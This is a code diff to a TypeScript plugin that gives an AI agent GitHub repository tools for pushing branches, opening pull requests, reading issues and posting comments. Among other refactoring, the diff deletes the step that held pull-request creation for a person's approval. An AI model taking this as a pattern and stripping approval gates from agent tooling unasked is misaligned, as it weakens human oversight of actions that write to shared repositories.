-                const tip = await plain(`rev-parse --verify "refs/heads/$REPO_BRANCH"`, dir, { REPO_BRANCH: branch });
-                if (!tip.success || !tip.stdout.trim()) {
-                    logFailure("repo_push", tip);
-                    return bounded(`could not resolve "${branch}" to a commit: ${tip.stderr || tip.stdout}`);
-                }
-                const result = await pushBranch(dir, remote.url, branch);
-                if (!result.success) {
-                    logFailure("repo_push", result);
-                    return bounded(`push failed: ${result.stderr || result.stdout}`);
-                }
-                // What `--set-upstream` would do as a side effect of the push, written
-                // here because the push happens on the host's side: a subagent reaching
-                // for a bare `git push` in the shell should still find the branch
-                // tracking something.
-                //
-                // Checked, but *reported* rather than raised: this is the one place in
-                // the plugin where a failed command is not a failed operation. The push
-                // has landed, saying so is the important half, and all that is lost is
-                // the convenience these two keys buy.
-                const remoteSet = await plain(`config "branch.$REPO_BRANCH.remote" origin`, dir, { REPO_BRANCH: branch });
-                const mergeSet = await plain(`config "branch.$REPO_BRANCH.merge" "refs/heads/$REPO_BRANCH"`, dir, { REPO_BRANCH: branch });
-                const untracked = [remoteSet, mergeSet].find((r) => !r.success);
-                if (untracked) {
-                    // Named apart from the push, which succeeded — a log line reading
-                    // "repo_push failed" next to a branch that is on the remote is worse
-                    // than no log line.
-                    logFailure("repo_push (upstream tracking)", untracked);
-                    return bounded(`pushed ${branch}, but could not record what it tracks: ` +
-                        `${untracked.stderr || untracked.stdout}\n` +
-                        `The push itself landed. The only consequence is local: a bare ` +
-                        `\`git push\` from the shell will not know where to send this ` +
-                        `branch, and needs \`git push -u origin ${branch}\` once.`);
-                }
-                return `pushed ${branch}`;
-            }
-        }),
-        repo_open_pr: tool({
-            description: "Open a pull request for a pushed branch and return its URL. Do this once the branch is pushed and the tests pass.",
-            inputSchema: z.object({
-                dir: z.string().describe("The checkout directory"),
-                head: z.string().describe("The branch you pushed"),
-                base: z.string().describe("The branch to merge into, e.g. 'main'"),
-                title: z.string().describe("Pull request title"),
-                body: z
-                    .string()
-                    .describe("Pull request description — what changed and why, and how you verified it")
-            }),
-            execute: async ({ dir, head, base, title, body }) => {
-                // The checkout's own origin, never a URL the model names — the rule the
-                // three read tools follow, and it binds harder here because this one
-                // writes. A repository named at the call site is bounded only by the
-                // host allowlist, so an agent talked into naming one could open a pull
-                // request on anything the token can write to.
-                const target = await forgeRepo(dir);
-                if ("refusal" in target)
-                    return target.refusal;
-                const { owner, repo } = target;
-                const opened = await forge("repo_open_pr", `/repos/${owner}/${repo}/pulls`, { method: "POST", body: { title, head, base, body } });
-                if (!opened.ok)
-                    // A POST whose answer never arrived may still have been received, and
-                    // a blind retry is how one pull request becomes two.
-                    return bounded(`${opened.message}\nIf this was a timeout rather than a rejection the ` +
-                        `pull request may have been opened anyway — check with repo_pr_view ` +
-                        `before retrying, or the retry will open a second one alongside it.`);
-                const data = opened.data;
-                return (data.html_url ??
-                    "pull request opened, but the response carried no URL");
-            }
-        }),
-        repo_issue_view: tool({
-            description: "Read an issue or pull request from the repository you have checked out: its title, state, description and comments. Use this when a task refers to an issue number, before guessing what it asks for.",
-            inputSchema: z.object({
-                dir: z.string().describe("The checkout directory"),
-                number: z.number().int().positive().describe("Issue or PR number")
-            }),
-            execute: async ({ dir, number }) => {
-                const target = await forgeRepo(dir);
-                if ("refusal" in target)
-                    return target.refusal;
-                const { owner, repo } = target;
-                // The issues endpoint, deliberately, even for a pull request: GitHub
-                // models every PR as an issue, and this is the one that carries the
-                // discussion. `repo_pr_view` is for the parts that are only a PR's.
-                const issue = await forge("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}`);
-                if (!issue.ok)
-                    return bounded(issue.message);
-                const data = issue.data;
-                const comments = await forge("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}/comments?per_page=${FORGE_PAGE_SIZE}`);
-                // A failure here is not a failure of the tool: the issue itself was
-                // read, and half an answer beats none.
-                const thread = (comments.ok && Array.isArray(comments.data) ? comments.data : []);
-                // A full page means there is very likely another. Said out loud, because
-                // this thread is what the model reasons from: comments arrive oldest
-                // first, so the ones it cannot see are the most recent — the review
-                // feedback, on the pull request busy enough to have overflowed.
-                const moreComments = thread.length >= FORGE_PAGE_SIZE;
-                return bounded([
-                    `#${number} ${data.title ?? "(no title)"} [${data.state ?? "?"}]` +
-                        (data.pull_request ? " (pull request)" : ""),
-                    `opened by ${data.user?.login ?? "unknown"}`,
-                    "",
-                    data.body?.trim() || "(no description)",
-                    ...thread.map((c) => `\n--- ${c.user?.login ?? "unknown"} ---\n${c.body?.trim() ?? ""}`),
-                    ...(comments.ok ? [] : [`\n(comments could not be read)`]),
-                    ...(moreComments
-                        ? [
-                            `\n(showing the first ${FORGE_PAGE_SIZE} comments; the thread is ` +
-                                `longer, and the newest are not among them)`
-                        ]
-                        : [])
-                ].join("\n"));
-            }
-        }),
-        repo_pr_view: tool({
-            description: "Read a pull request's state and the files it touches — whether it is mergeable, its review state, and which paths changed. Use this to check on a pull request you opened, or to see what an existing one does before duplicating it.",
-            inputSchema: z.object({
-                dir: z.string().describe("The checkout directory"),
-                number: z.number().int().positive().describe("Pull request number")
-            }),
-            execute: async ({ dir, number }) => {
-                const target = await forgeRepo(dir);
-                if ("refusal" in target)
-                    return target.refusal;
-                const { owner, repo } = target;
-                const pr = await forge("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}`);
-                if (!pr.ok)
-                    return bounded(pr.message);
-                const data = pr.data;
-                const files = await forge("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}/files?per_page=${FORGE_PAGE_SIZE}`);
-                const changed = (files.ok && Array.isArray(files.data) ? files.data : []);
-                const moreFiles = changed.length >= FORGE_PAGE_SIZE;
-                return bounded([
-                    `#${number} ${data.title ?? "(no title)"}`,
-                    `${data.merged ? "merged" : (data.state ?? "?")}` +
-                        (data.draft ? " (draft)" : "") +
-                        // `mergeable` is computed asynchronously by GitHub and is `null`
-                        // until it has been, which is common on a pull request opened
-                        // seconds ago — exactly when this tool is most likely to be called.
-                        (data.mergeable === null
-                            ? ", mergeability not yet computed"
-                            : data.mergeable === false
-                                ? ", NOT mergeable"
-                                : ""),
-                    `${data.head?.ref ?? "?"} → ${data.base?.ref ?? "?"}`,
-                    data.html_url ?? "",
-                    "",
-                    changed.length
-                        ? changed
-                            .map((f) => `  ${f.filename ?? "?"} (+${f.additions ?? 0} -${f.deletions ?? 0})`)
-                            .join("\n")
-                        : files.ok
-                            ? "  (no files reported)"
-                            : "  (changed files could not be read)",
-                    ...(moreFiles
-                        ? [
-                            `\n(showing the first ${FORGE_PAGE_SIZE} files; this pull request ` +
-                                `touches more)`
-                        ]
-                        : [])
-                ].join("\n"));
-            }
-        }),
-        repo_pr_comment: tool({
-            description: "Leave a comment on a pull request or issue in the repository you have checked out. Use this to report what you did, or to answer a review — not to announce work you have not finished.",
-            inputSchema: z.object({
-                dir: z.string().describe("The checkout directory"),
-                number: z
-                    .number()
-                    .int()
-                    .positive()
-                    .describe("Pull request or issue number"),
-                body: z.string().describe("The comment, as markdown")
-            }),
-            execute: async ({ dir, number, body }) => {
-                const target = await forgeRepo(dir);
-                if ("refusal" in target)
-                    return target.refusal;
-                const { owner, repo } = target;
-                const posted = await forge("repo_pr_comment", `/repos/${owner}/${repo}/issues/${number}/comments`, { method: "POST", body: { body } });
-                if (!posted.ok)
-                    // The same hazard `repo_open_pr` names, for the same reason: a POST
-                    // whose answer never arrived may still have been received, and a blind
-                    // retry is how one comment becomes two.
-                    return bounded(`${posted.message}\nIf this was a timeout rather than a rejection the ` +
-                        `comment may exist anyway — read it back with repo_issue_view before retrying.`);
-                const data = posted.data;
-                return data.html_url ?? `commented on #${number}`;
-            }
-        })
-    };
-    /**
-     * Where a pull request is opened, as the person approving it reads it: the
-     * host, owner and repository of the checkout's origin — what the tool resolves
-     * when it runs. Never the directory's name, which says nothing about where
-     * `.git/config` points. A checkout with no readable origin on an allowed host is
-     * named by its path, and the tool refuses it when it runs.
-     */
-    const destination = async (dir) => {
-        const { remote } = await origin(dir);
-        const parsed = remote ? parseRepo(remote.url, allowedHosts) : undefined;
-        return remote && parsed
-            ? `${remote.host}/${parsed.owner}/${parsed.repo}`
-            : `the checkout at ${approvalField(dir)}, whose origin could not be read`;
-    };
-    const approval = {
-        repo_open_pr: async (input) => {
-            const { dir, head, base, title } = input;
-            return {
-                type: "user-approval",
-                reason: `Open a pull request on ${await destination(dir)} from \`${approvalField(head)}\` into \`${approvalField(base)}\`: ${approvalField(title)}`
-            };
-        }
+        ...cloneTools(ctx),
+        ...worktreeTools(ctx),
+        ...forgeTools(ctx),
+        ...reviewTools(ctx)
     };
-    return { tools, approval };
+    return { tools };
 }
 /**
- * The longest branch, title or path a person is shown in full before approving.
- * Every model-supplied field in a reason is cut to it, so no one input can bury
- * the rest of what they are deciding.
+ * No tool here is held for a person's approval — see this plugin's README for
+ * why, and for what a fork that wants one does instead.
  */
-const APPROVAL_FIELD_CHARS = 200;
-/** One model-supplied field of an approval reason, cut to {@link APPROVAL_FIELD_CHARS}. */
-function approvalField(text) {
-    return text.length <= APPROVAL_FIELD_CHARS
-        ? text
-        : `${text.slice(0, APPROVAL_FIELD_CHARS - 1)}…`;
-}
-/**
- * The repo tools a person approves before they run: opening a pull request, and
- * nothing else. Pushing a work branch and commenting run without asking.
- *
- * The reason is what the person reads beside Approve and Reject, so it says what
- * the call will do in their terms: which repository, from which branch into
- * which, and under what title. The repository is the checkout's origin, read
- * through the same lookup the tool runs, so a directory named after one
- * repository cannot present a pull request on another. The input has already
- * passed the tool's own schema. What a rule is, and whose calls it covers, is
- * core's to say — see `AgentPlugin.mainAgentToolApproval`.
- */
-export function repoToolApproval(config) {
-    return repoSurface(config).approval;
-}
 export function repo(config) {
     return definePlugin({
         key: "repo",
         mainAgentTools: () => buildRepoTools(config),
-        mainAgentToolApproval: () => repoToolApproval(config),
         // The runtime state goes through to `exec` untouched, so a delegated
         // subtask's git commands run in the same container its parent cloned into.
         toolFamilies: {
@@ -1122,6 +110,8 @@ export function repo(config) {
             "- `repo_push` pushes a work branch. It refuses the default branch and other protected names, and it refuses a branch carrying no commits the default branch does not already have — that is not negotiable.",
             "- `repo_open_pr` opens the pull request and returns its URL.",
             "- `repo_issue_view` reads an issue or pull request with its comments, `repo_pr_view` shows a pull request's state and the files it touches, and `repo_pr_comment` leaves a comment. All three act on the repository you have checked out — read the issue a task refers to before guessing what it asks for.",
+            "- `repo_pr_review_status` says whether a reviewer has finished. Ask it before reading a review: one that has not landed has left nothing, so an empty list of threads means nothing yet rather than nothing to do.",
+            "- `repo_pr_threads` reads the review threads — the comments left on particular lines, which are not on the timeline `repo_issue_view` shows. `repo_pr_thread_reply` answers one and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened.",
             "Never push to the default branch. Finish by opening a pull request and reporting its URL."
         ].join("\n"),
         requires: { secrets: ["GITHUB_TOKEN"] }